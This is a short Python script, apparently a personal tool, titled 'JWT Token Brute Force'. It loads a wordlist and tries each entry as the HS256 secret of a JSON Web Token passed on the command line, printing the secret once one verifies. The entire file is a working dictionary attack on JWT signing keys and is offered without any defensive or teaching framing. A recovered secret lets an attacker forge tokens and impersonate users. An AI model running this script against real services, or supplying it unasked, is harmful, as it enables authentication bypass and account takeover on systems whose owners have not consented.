JWT Token Brute Force

import jwt
from queue import Queue,Empty
import threading
import sys

if len(sys.argv) == 1:
    exit('Provide jwt token')

def bruteForceJwtSecret(jwtToken,wordListQueue):
    global jwtSecret
    while True:
        try:
            if jwtSecret != None:
                break
            pwd = wordListQueue.get(False)
            jwt.decode(jwtToken, pwd, algorithms=["HS256"])
            jwtSecret = pwd
            print(f"Password found: {jwtSecret}")
            break
        except jwt.exceptions.InvalidSignatureError:
            pass
        except Empty:
            print("Password not found!")
            break
with open("wiki-100k.txt","r") as file:
    wordList = file.read().split("\n")
wordListQueue = Queue()
[wordListQueue.put(word) for word in wordList]

jwtToken = sys.argv[1]
jwtSecret = None
#
# for _ in range(8):
#     threading.Thread(target=bruteForceJwtSecret,args=(jwtToken,wordListQueue,)).start()
bruteForceJwtSecret(jwtToken,wordListQueue)
### Created By jagata ###